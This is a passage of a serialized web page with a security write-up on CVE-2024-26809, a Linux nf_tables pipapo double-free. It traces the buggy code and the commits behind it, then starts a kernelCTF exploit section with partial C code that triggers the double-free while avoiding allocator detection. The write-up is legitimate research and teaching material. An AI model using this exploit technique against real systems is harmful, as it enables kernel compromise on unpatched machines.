NFT_MSG_DELSET:\n",{"type":25,"tag":271,"props":66633,"children":66634},{"class":13593,"line":16945},[66635,66639],{"type":25,"tag":271,"props":66636,"children":66637},{"style":16171},[66638],{"type":30,"value":66626},{"type":25,"tag":271,"props":66640,"children":66641},{"style":13625},[66642],{"type":30,"value":66643}," NFT_MSG_DESTROYSET:\n",{"type":25,"tag":271,"props":66645,"children":66646},{"class":13593,"line":16953},[66647,66652,66656,66660,66664,66668,66672,66676,66680],{"type":25,"tag":271,"props":66648,"children":66649},{"style":13620},[66650],{"type":30,"value":66651},"  nft_set_destroy",{"type":25,"tag":271,"props":66653,"children":66654},{"style":13625},[66655],{"type":30,"value":394},{"type":25,"tag":271,"props":66657,"children":66658},{"style":13603},[66659],{"type":30,"value":13632},{"type":25,"tag":271,"props":66661,"children":66662},{"style":13625},[66663],{"type":30,"value":65677},{"type":25,"tag":271,"props":66665,"children":66666},{"style":13603},[66667],{"type":30,"value":14411},{"type":25,"tag":271,"props":66669,"children":66670},{"style":13598},[66671],{"type":30,"value":33401},{"type":25,"tag":271,"props":66673,"children":66674},{"style":13625},[66675],{"type":30,"value":44},{"type":25,"tag":271,"props":66677,"children":66678},{"style":13620},[66679],{"type":30,"value":65643},{"type":25,"tag":271,"props":66681,"children":66682},{"style":13625},[66683],{"type":30,"value":66684},"(trans));\n",{"type":25,"tag":271,"props":66686,"children":66687},{"class":13593,"line":16984},[66688],{"type":25,"tag":271,"props":66689,"children":66690},{"style":13625},[66691],{"type":30,"value":23442},{"type":25,"tag":271,"props":66693,"children":66694},{"class":13593,"line":16992},[66695],{"type":25,"tag":271,"props":66696,"children":66697},{"style":13625},[66698],{"type":30,"value":17058},{"type":25,"tag":271,"props":66700,"children":66701},{"class":13593,"line":17052},[66702],{"type":25,"tag":271,"props":66703,"children":66704},{"style":13625},[66705],{"type":30,"value":23442},{"type":25,"tag":271,"props":66707,"children":66708},{"class":13593,"line":22168},[66709,66713,66717,66722,66726,66730,66734,66738,66742,66747,66751,66755,66759],{"type":25,"tag":271,"props":66710,"children":66711},{"style":14289},[66712],{"type":30,"value":64160},{"type":25,"tag":271,"props":66714,"children":66715},{"style":14289},[66716],{"type":30,"value":64165},{"type":25,"tag":271,"props":66718,"children":66719},{"style":13620},[66720],{"type":30,"value":66721}," nft_set_destroy",{"type":25,"tag":271,"props":66723,"children":66724},{"style":13625},[66725],{"type":30,"value":394},{"type":25,"tag":271,"props":66727,"children":66728},{"style":14289},[66729],{"type":30,"value":22778},{"type":25,"tag":271,"props":66731,"children":66732},{"style":14289},[66733],{"type":30,"value":34271},{"type":25,"tag":271,"props":66735,"children":66736},{"style":13625},[66737],{"type":30,"value":64187},{"type":25,"tag":271,"props":66739,"children":66740},{"style":13603},[66741],{"type":30,"value":17702},{"type":25,"tag":271,"props":66743,"children":66744},{"style":13625},[66745],{"type":30,"value":66746},"ctx, ",{"type":25,"tag":271,"props":66748,"children":66749},{"style":14289},[66750],{"type":30,"value":22524},{"type":25,"tag":271,"props":66752,"children":66753},{"style":13625},[66754],{"type":30,"value":64215},{"type":25,"tag":271,"props":66756,"children":66757},{"style":13603},[66758],{"type":30,"value":17702},{"type":25,"tag":271,"props":66760,"children":66761},{"style":13625},[66762],{"type":30,"value":66763},"set)\n",{"type":25,"tag":271,"props":66765,"children":66766},{"class":13593,"line":22186},[66767],{"type":25,"tag":271,"props":66768,"children":66769},{"style":13625},[66770],{"type":30,"value":24005},{"type":25,"tag":271,"props":66772,"children":66773},{"class":13593,"line":22231},[66774],{"type":25,"tag":271,"props":66775,"children":66776},{"style":13625},[66777],{"type":30,"value":23442},{"type":25,"tag":271,"props":66779,"children":66780},{"class":13593,"line":22337},[66781,66785,66789,66793,66797,66802],{"type":25,"tag":271,"props":66782,"children":66783},{"style":13598},[66784],{"type":30,"value":66202},{"type":25,"tag":271,"props":66786,"children":66787},{"style":13625},[66788],{"type":30,"value":14411},{"type":25,"tag":271,"props":66790,"children":66791},{"style":13598},[66792],{"type":30,"value":65786},{"type":25,"tag":271,"props":66794,"children":66795},{"style":13625},[66796],{"type":30,"value":14411},{"type":25,"tag":271,"props":66798,"children":66799},{"style":13620},[66800],{"type":30,"value":66801},"destroy",{"type":25,"tag":271,"props":66803,"children":66804},{"style":13625},[66805],{"type":30,"value":66806},"(ctx, set);\n",{"type":25,"tag":271,"props":66808,"children":66809},{"class":13593,"line":36608},[66810],{"type":25,"tag":271,"props":66811,"children":66812},{"style":13625},[66813],{"type":30,"value":23442},{"type":25,"tag":271,"props":66815,"children":66816},{"class":13593,"line":36643},[66817],{"type":25,"tag":271,"props":66818,"children":66819},{"style":13625},[66820],{"type":30,"value":17058},{"type":25,"tag":26,"props":66822,"children":66823},{},[66824,66826,66831,66833,66838,66840,66846,66848,66853,66855,66860,66862,66866,66868,66873,66874,66878,66880,66886],{"type":30,"value":66825},"It may appear as if it would be impossible to make ",{"type":25,"tag":264,"props":66827,"children":66829},{"className":66828},[],[66830],{"type":30,"value":64089},{"type":30,"value":66832}," true in the release step because the ",{"type":25,"tag":264,"props":66834,"children":66836},{"className":66835},[],[66837],{"type":30,"value":65461},{"type":30,"value":66839}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":25,"tag":264,"props":66841,"children":66843},{"className":66842},[],[66844],{"type":30,"value":66845},"set->dead",{"type":30,"value":66847}," flag. If a ",{"type":25,"tag":264,"props":66849,"children":66851},{"className":66850},[],[66852],{"type":30,"value":64135},{"type":30,"value":66854}," was marked for deletion, it receives the ",{"type":25,"tag":264,"props":66856,"children":66858},{"className":66857},[],[66859],{"type":30,"value":66845},{"type":30,"value":66861}," flag ",{"type":25,"tag":271,"props":66863,"children":66864},{},[66865],{"type":30,"value":1326},{"type":30,"value":66867},". If this flag is set, then the commit path will skip any commitments to this ",{"type":25,"tag":264,"props":66869,"children":66871},{"className":66870},[],[66872],{"type":30,"value":64135},{"type":30,"value":14096},{"type":25,"tag":271,"props":66875,"children":66876},{},[66877],{"type":30,"value":30650},{"type":30,"value":66879},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":25,"tag":264,"props":66881,"children":66883},{"className":66882},[],[66884],{"type":30,"value":66885},"priv ->dirty",{"type":30,"value":66887}," flag is not cleared when it should have been.",{"type":25,"tag":96,"props":66889,"children":66891},{"id":66890},"tracing-the-guilty-commit",[66892],{"type":30,"value":66893},"Tracing the guilty commit",{"type":25,"tag":26,"props":66895,"children":66896},{},[66897,66899,66906,66908,66914,66916,66921,66923,66929],{"type":30,"value":66898},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":25,"tag":83,"props":66900,"children":66903},{"href":66901,"rel":66902},"https://ubuntu.com/security/CVE-2024-26809",[9066],[66904],{"type":30,"value":66905},"advisories",{"type":30,"value":66907}," about this vulnerability will say it was introduced by this ",{"type":25,"tag":83,"props":66909,"children":66912},{"href":66910,"rel":66911},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[9066],[66913],{"type":30,"value":65795},{"type":30,"value":66915},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":25,"tag":264,"props":66917,"children":66919},{"className":66918},[],[66920],{"type":30,"value":66845},{"type":30,"value":66922}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":25,"tag":83,"props":66924,"children":66927},{"href":66925,"rel":66926},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[9066],[66928],{"type":30,"value":65795},{"type":30,"value":1860},{"type":25,"tag":26,"props":66931,"children":66932},{},[66933],{"type":30,"value":66934},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":25,"tag":7764,"props":66936,"children":66940},{"className":66937,"code":66938,"language":66939,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919]  \u003CTASK>\n[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952]  ? __nla_validate_parse+0x48/0x190\n[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963]  netlink_unicast+0x211/0x340\n[16302.231969]  netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[66941],{"type":25,"tag":264,"props":66942,"children":66943},{"__ignoreMap":7},[66944,66952,66960,66967,66975,66983,66990,66998,67005,67013,67021,67028,67036,67044,67052,67060,67068,67076,67084,67092,67100,67107,67115,67123,67130,67138,67146,67154,67162,67170,67177,67185,67193],{"type":25,"tag":271,"props":66945,"children":66946},{"class":13593,"line":13594},[66947],{"type":25,"tag":271,"props":66948,"children":66949},{},[66950],{"type":30,"value":66951},"New elements that reside in the clone are not released in case that the\n",{"type":25,"tag":271,"props":66953,"children":66954},{"class":13593,"line":11641},[66955],{"type":25,"tag":271,"props":66956,"children":66957},{},[66958],{"type":30,"value":66959},"transaction is aborted.\n",{"type":25,"tag":271,"props":66961,"children":66962},{"class":13593,"line":14354},[66963],{"type":25,"tag":271,"props":66964,"children":66965},{"emptyLinePlaceholder":18},[66966],{"type":30,"value":16829},{"type":25,"tag":271,"props":66968,"children":66969},{"class":13593,"line":14391},[66970],{"type":25,"tag":271,"props":66971,"children":66972},{},[66973],{"type":30,"value":66974},"[16302.231754] ------------[ cut here ]------------\n",{"type":25,"tag":271,"props":66976,"children":66977},{"class":13593,"line":14400},[66978],{"type":25,"tag":271,"props":66979,"children":66980},{},[66981],{"type":30,"value":66982},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":25,"tag":271,"props":66984,"children":66985},{"class":13593,"line":16406},[66986],{"type":25,"tag":271,"props":66987,"children":66988},{},[66989],{"type":30,"value":23442},{"type":25,"tag":271,"props":66991,"children":66992},{"class":13593,"line":16434},[66993],{"type":25,"tag":271,"props":66994,"children":66995},{},[66996],{"type":30,"value":66997},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n",{"type":25,"tag":271,"props":66999,"children":67000},{"class":13593,"line":16447},[67001],{"type":25,"tag":271,"props":67002,"children":67003},{},[67004],{"type":30,"value":23442},{"type":25,"tag":271,"props":67006,"children":67007},{"class":13593,"line":16465},[67008],{"type":25,"tag":271,"props":67009,"children":67010},{},[67011],{"type":30,"value":67012},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":25,"tag":271,"props":67014,"children":67015},{"class":13593,"line":16486},[67016],{"type":25,"tag":271,"props":67017,"children":67018},{},[67019],{"type":30,"value":67020},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":25,"tag":271,"props":67022,"children":67023},{"class":13593,"line":16495},[67024],{"type":25,"tag":271,"props":67025,"children":67026},{},[67027],{"type":30,"value":23442},{"type":25,"tag":271,"props":67029,"children":67030},{"class":13593,"line":16744},[67031],{"type":25,"tag":271,"props":67032,"children":67033},{},[67034],{"type":30,"value":67035},"[16302.231917] Call Trace:\n",{"type":25,"tag":271,"props":67037,"children":67038},{"class":13593,"line":16761},[67039],{"type":25,"tag":271,"props":67040,"children":67041},{},[67042],{"type":30,"value":67043},"[16302.231919]  \u003CTASK>\n",{"type":25,"tag":271,"props":67045,"children":67046},{"class":13593,"line":16778},[67047],{"type":25,"tag":271,"props":67048,"children":67049},{},[67050],{"type":30,"value":67051},"[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":25,"tag":271,"props":67053,"children":67054},{"class":13593,"line":16791},[67055],{"type":25,"tag":271,"props":67056,"children":67057},{},[67058],{"type":30,"value":67059},"[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":25,"tag":271,"props":67061,"children":67062},{"class":13593,"line":16800},[67063],{"type":25,"tag":271,"props":67064,"children":67065},{},[67066],{"type":30,"value":67067},"[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":25,"tag":271,"props":67069,"children":67070},{"class":13593,"line":16823},[67071],{"type":25,"tag":271,"props":67072,"children":67073},{},[67074],{"type":30,"value":67075},"[16302.231952]  ? __nla_validate_parse+0x48/0x190\n",{"type":25,"tag":271,"props":67077,"children":67078},{"class":13593,"line":16832},[67079],{"type":25,"tag":271,"props":67080,"children":67081},{},[67082],{"type":30,"value":67083},"[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":25,"tag":271,"props":67085,"children":67086},{"class":13593,"line":16841},[67087],{"type":25,"tag":271,"props":67088,"children":67089},{},[67090],{"type":30,"value":67091},"[16302.231963]  netlink_unicast+0x211/0x340\n",{"type":25,"tag":271,"props":67093,"children":67094},{"class":13593,"line":16907},[67095],{"type":25,"tag":271,"props":67096,"children":67097},{},[67098],{"type":30,"value":67099},"[16302.231969]  netlink_sendmsg+0x21e/0x460\n",{"type":25,"tag":271,"props":67101,"children":67102},{"class":13593,"line":16915},[67103],{"type":25,"tag":271,"props":67104,"children":67105},{"emptyLinePlaceholder":18},[67106],{"type":30,"value":16829},{"type":25,"tag":271,"props":67108,"children":67109},{"class":13593,"line":16945},[67110],{"type":25,"tag":271,"props":67111,"children":67112},{},[67113],{"type":30,"value":67114},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":25,"tag":271,"props":67116,"children":67117},{"class":13593,"line":16953},[67118],{"type":25,"tag":271,"props":67119,"children":67120},{},[67121],{"type":30,"value":67122},"elements in the lookup tables.\n",{"type":25,"tag":271,"props":67124,"children":67125},{"class":13593,"line":16984},[67126],{"type":25,"tag":271,"props":67127,"children":67128},{"emptyLinePlaceholder":18},[67129],{"type":30,"value":16829},{"type":25,"tag":271,"props":67131,"children":67132},{"class":13593,"line":16992},[67133],{"type":25,"tag":271,"props":67134,"children":67135},{},[67136],{"type":30,"value":67137},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":25,"tag":271,"props":67139,"children":67140},{"class":13593,"line":17052},[67141],{"type":25,"tag":271,"props":67142,"children":67143},{},[67144],{"type":30,"value":67145},"cloned matching data if priv->dirty is set, because that means that\n",{"type":25,"tag":271,"props":67147,"children":67148},{"class":13593,"line":22168},[67149],{"type":25,"tag":271,"props":67150,"children":67151},{},[67152],{"type":30,"value":67153},"cloned data might point to additional elements we did not commit to the\n",{"type":25,"tag":271,"props":67155,"children":67156},{"class":13593,"line":22186},[67157],{"type":25,"tag":271,"props":67158,"children":67159},{},[67160],{"type":30,"value":67161},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":25,"tag":271,"props":67163,"children":67164},{"class":13593,"line":22231},[67165],{"type":25,"tag":271,"props":67166,"children":67167},{},[67168],{"type":30,"value":67169},"to it).\"\n",{"type":25,"tag":271,"props":67171,"children":67172},{"class":13593,"line":22337},[67173],{"type":25,"tag":271,"props":67174,"children":67175},{"emptyLinePlaceholder":18},[67176],{"type":30,"value":16829},{"type":25,"tag":271,"props":67178,"children":67179},{"class":13593,"line":36608},[67180],{"type":25,"tag":271,"props":67181,"children":67182},{},[67183],{"type":30,"value":67184},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":25,"tag":271,"props":67186,"children":67187},{"class":13593,"line":36643},[67188],{"type":25,"tag":271,"props":67189,"children":67190},{},[67191],{"type":30,"value":67192},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":25,"tag":271,"props":67194,"children":67195},{"class":13593,"line":36651},[67196],{"type":25,"tag":271,"props":67197,"children":67198},{},[67199],{"type":30,"value":67200},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":25,"tag":26,"props":67202,"children":67203},{},[67204,67206,67211,67213,67218,67220,67225,67227,67232],{"type":30,"value":67205},"As we previously discussed, committing changes to a pipapo ",{"type":25,"tag":264,"props":67207,"children":67209},{"className":67208},[],[67210],{"type":30,"value":64135},{"type":30,"value":67212}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":25,"tag":264,"props":67214,"children":67216},{"className":67215},[],[67217],{"type":30,"value":65461},{"type":30,"value":67219}," method by simply replacing the ",{"type":25,"tag":264,"props":67221,"children":67223},{"className":67222},[],[67224],{"type":30,"value":64135},{"type":30,"value":67226},"s match object with its updated clone. So checking the ",{"type":25,"tag":264,"props":67228,"children":67230},{"className":67229},[],[67231],{"type":30,"value":64089},{"type":30,"value":67233}," flag and then calling free again ensures we also free uncommitted changes.",{"type":25,"tag":26,"props":67235,"children":67236},{},[67237,67239,67244],{"type":30,"value":67238},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":25,"tag":264,"props":67240,"children":67242},{"className":67241},[],[67243],{"type":30,"value":64135},{"type":30,"value":67245},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":25,"tag":26,"props":67247,"children":67248},{},[67249,67251,67257,67259,67264,67266,67271],{"type":30,"value":67250},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":25,"tag":264,"props":67252,"children":67254},{"className":67253},[],[67255],{"type":30,"value":67256},"set->ops->destroy()",{"type":30,"value":67258}," could be called without clearing the ",{"type":25,"tag":264,"props":67260,"children":67262},{"className":67261},[],[67263],{"type":30,"value":64089},{"type":30,"value":67265}," flag, which was fine considering you didn't have duplicated views of the ",{"type":25,"tag":264,"props":67267,"children":67269},{"className":67268},[],[67270],{"type":30,"value":64127},{"type":30,"value":67272},"s, so they would all be in the clone set.",{"type":25,"tag":26,"props":67274,"children":67275},{},[67276,67278,67283],{"type":30,"value":67277},"But when the ",{"type":25,"tag":264,"props":67279,"children":67281},{"className":67280},[],[67282],{"type":30,"value":66845},{"type":30,"value":67284}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":25,"tag":26,"props":67286,"children":67287},{},[67288],{"type":30,"value":67289},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":25,"tag":96,"props":67291,"children":67293},{"id":67292},"kernelctf-exploit",[67294],{"type":30,"value":67295},"KernelCTF exploit",{"type":25,"tag":26,"props":67297,"children":67298},{},[67299,67301,67307,67309,67316],{"type":30,"value":67300},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":25,"tag":264,"props":67302,"children":67304},{"className":67303},[],[67305],{"type":30,"value":67306},"nft_object + udata",{"type":30,"value":67308}," technique shared by lonial con in a ",{"type":25,"tag":83,"props":67310,"children":67313},{"href":67311,"rel":67312},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[9066],[67314],{"type":30,"value":67315},"previous kernelCTF exploit",{"type":30,"value":1860},{"type":25,"tag":247,"props":67318,"children":67320},{"id":67319},"trigger-uafavoid-double-free-detection",[67321],{"type":30,"value":67322},"Trigger UAF/avoid double-free detection",{"type":25,"tag":26,"props":67324,"children":67325},{},[67326,67328,67334,67336,67342],{"type":30,"value":67327},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":25,"tag":264,"props":67329,"children":67331},{"className":67330},[],[67332],{"type":30,"value":67333},"nft_set_pipapo_match_destroy",{"type":30,"value":67335}," iterates over the ",{"type":25,"tag":264,"props":67337,"children":67339},{"className":67338},[],[67340],{"type":30,"value":67341},"setelems",{"type":30,"value":67343}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":25,"tag":661,"props":67345,"children":67346},{},[67347,67352,67357,67362],{"type":25,"tag":112,"props":67348,"children":67349},{},[67350],{"type":30,"value":67351},"Element A gets freed",{"type":25,"tag":112,"props":67353,"children":67354},{},[67355],{"type":30,"value":67356},"Element B gets free",{"type":25,"tag":112,"props":67358,"children":67359},{},[67360],{"type":30,"value":67361},"Element A gets freed again (double-free)",{"type":25,"tag":112,"props":67363,"children":67364},{},[67365],{"type":30,"value":67366},"Element B gets freed again (double-free)",{"type":25,"tag":7764,"props":67368,"children":67370},{"className":42222,"code":67369,"language":42224,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n    // TRANSACTION 2\n[...]\n\n    // create pipapo set\n    uint8_t desc[2] = {16, 16};\n    set = create_set(\n        batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n        NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n    // commit 2 elems to set (elems A and B that will be double-freed)\n    for (int i = 0; i \u003C 2; i++)\n    {\n        elem[i] = nftnl_set_elem_alloc();\n        memset(key, 0x41 + i, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n        nftnl_set_elem_add(set, elem[i]);\n    }\n[...]\n\n    // TRANSACTION 3\n[...]\n    set = nftnl_set_alloc();\n    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n    nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n    nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n    // make priv->dirty true\n    memset(key, 0xff, KEY_LEN);\n    elem[3] = nftnl_set_elem_alloc();\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n    nftnl_set_elem_add(set, elem[3]);\n[...]\n\n    // double-free commited elems\n[...]\n    nftnl_set_free(set);\n}\n[...]\n",[67371],{"type":25,"tag":264,"props":67372,"children":67373},{"__ignoreMap":7},[67374,67381,67442,67449,67456,67464,67471,67478,67486,67510,67531,67565,67626,67633,67641,67693,67700,67726,67753,67792,67821,67850,67872,67879,67886,67893,67901,67908,67916,67929,67942,67962,67969,67977,67999,68031,68076,68112,68140,68147,68154,68162,68169,68185,68192],{"type":25,"tag":271,"props":67375,"children":67376},{"class":13593,"line":13594},[67377],{"type":25,"tag":271,"props":67378,"children":67379},{"style":13625},[67380],{"type":30,"value":23442},{"type":25,"tag":271,"props":67382,"children":67383},{"class":13593,"line":11641},[67384,67389,67393,67398,67402,67407,67411,67416,67421,67425,67429,67433,67438],{"type":25,"tag":271,"props":67385,"children":67386},{"style":13625},[67387],{"type":30,"value":67388},"static void trigger_uaf(",{"type":25,"tag":271,"props":67390,"children":67391},{"style":14289},[67392],{"type":30,"value":22524},{"type":25,"tag":271,"props":67394,"children":67395},{"style":13609},[67396],{"type":30,"value":67397}," mnl_socket",{"type":25,"tag":271,"props":67399,"children":67400},{"style":14289},[67401],{"type":30,"value":22940},{"type":25,"tag":271,"props":67403,"children":67404},{"style":13598},[67405],{"type":30,"value":67406},"nl",{"type":25,"tag":271,"props":67408,"children":67409},{"style":13625},[67410],{"type":30,"value":44},{"type":25,"tag":271,"props":67412,"children":67413},{"style":14289},[67414],{"type":30,"value":67415},"size_t",{"type":25,"tag":271,"props":67417,"children":67418},{"style":13598},[67419],{"type":30,"value":67420}," size",{"type":25,"tag":271,"props":67422,"children":67423},{"style":13625},[67424],{"type":30,"value":44},{"type":25,"tag":271,"props":67426,"children":67427},{"style":14289},[67428],{"type":30,"value":32168},{"type":25,"tag":271,"props":67430,"children":67431},{"style":14289},[67432],{"type":30,"value":22940},{"type":25,"tag":271,"props":67434,"children":67435},{"style":13598},[67436],{"type":30,"value":67437},"msgqids",{"type":25,"tag":271,"props":67439,"children":67440},{"style":13625},[67441],{"type":30,"value":16299},{"type":25,"tag":271,"props":67443,"children":67444},{"class":13593,"line":14354},[67445],{"type":25,"tag":271,"props":67446,"children":67447},{"style":13625},[67448],{"type":30,"value":24005},{"type":25,"tag":271,"props":67450,"children":67451},{"class":13593,"line":14391},[67452],{"type":25,"tag":271,"props":67453,"children":67454},{"style":13625},[67455],{"type":30,"value":23442},{"type":25,"tag":271,"props":67457,"children":67458},{"class":13593,"line":14400},[67459],{"type":25,"tag":271,"props":67460,"children":67461},{"style":13625},[67462],{"type":30,"value":67463},"    // TRANSACTION 2\n",{"type":25,"tag":271,"props":67465,"children":67466},{"class":13593,"line":16406},[67467],{"type":25,"tag":271,"props":67468,"children":67469},{"style":13625},[67470],{"type":30,"value":23442},{"type":25,"tag":271,"props":67472,"children":67473},{"class":13593,"line":16434},[67474],{"type":25,"tag":271,"props":67475,"children":67476},{"emptyLinePlaceholder":18},[67477],{"type":30,"value":16829},{"type":25,"tag":271,"props":67479,"children":67480},{"class":13593,"line":16447},[67481],{"type":25,"tag":271,"props":67482,"children":67483},{"style":13625},[67484],{"type":30,"value":67485},"    // create pipapo set\n",{"type":25,"tag":271,"props":67487,"children":67488},{"class":13593,"line":16465},[67489,67494,67498,67502,67506],{"type":25,"tag":271,"props":67490,"children":67491},{"style":13625},[67492],{"type":30,"value":67493},"    uint8_t desc[2] = {",{"type":25,"tag":271,"props":67495,"children":67496},{"style":16187},[67497],{"type":30,"value":53958},{"type":25,"tag":271,"props":67499,"children":67500},{"style":13625},[67501],{"type":30,"value":44},{"type":25,"tag":271,"props":67503,"children":67504},{"style":16187},[67505],{"type":30,"value":53958},{"type":25,"tag":271,"props":67507,"children":67508},{"style":13625},[67509],{"type":30,"value":29700},{"type":25,"tag":271,"props":67511,"children":67512},{"class":13593,"line":16486},[67513,67518,67522,67527],{"type":25,"tag":271,"props":67514,"children":67515},{"style":13625},[67516],{"type":30,"value":67517},"    set ",{"type":25,"tag":271,"props":67519,"children":67520},{"style":13603},[67521],{"type":30,"value":1065},{"type":25,"tag":271,"props":67523,"children":67524},{"style":13620},[67525],{"type":30,"value":67526}," create_set",{"type":25,"tag":271,"props":67528,"children":67529},{"style":13625},[67530],{"type":30,"value":16609},{"type":25,"tag":271,"props":67532,"children":67533},{"class":13593,"line":16495},[67534,67539,67543,67548,67553,67557,67561],{"type":25,"tag":271,"props":67535,"children":67536},{"style":13625},[67537],{"type":30,"value":67538},"        batch, seq",{"type":25,"tag":271,"props":67540,"children":67541},{"style":13603},[67542],{"type":30,"value":64385},{"type":25,"tag":271,"props":67544,"children":67545},{"style":13625},[67546],{"type":30,"value":67547},", exploit_table_name, ",{"type":25,"tag":271,"props":67549,"children":67550},{"style":17388},[67551],{"type":30,"value":67552},"\"pwn_set\"",{"type":25,"tag":271,"props":67554,"children":67555},{"style":13625},[67556],{"type":30,"value":44},{"type":25,"tag":271,"props":67558,"children":67559},{"style":16187},[67560],{"type":30,"value":56615},{"type":25,"tag":271,"props":67562,"children":67563},{"style":13625},[67564],{"type":30,"value":14351},{"type":25,"tag":271,"props":67566,"children":67567},{"class":13593,"line":16744},[67568,67573,67577,67582,67586,67591,67595,67599,67603,67608,67613,67617,67621],{"type":25,"tag":271,"props":67569,"children":67570},{"style":13625},[67571],{"type":30,"value":67572},"        NFT_SET_INTERVAL ",{"type":25,"tag":271,"props":67574,"children":67575},{"style":13603},[67576],{"type":30,"value":23540},{"type":25,"tag":271,"props":67578,"children":67579},{"style":13625},[67580],{"type":30,"value":67581}," NFT_SET_OBJECT ",{"type":25,"tag":271,"props":67583,"children":67584},{"style":13603},[67585],{"type":30,"value":23540},{"type":25,"tag":271,"props":67587,"children":67588},{"style":13625},[67589],{"type":30,"value":67590}," 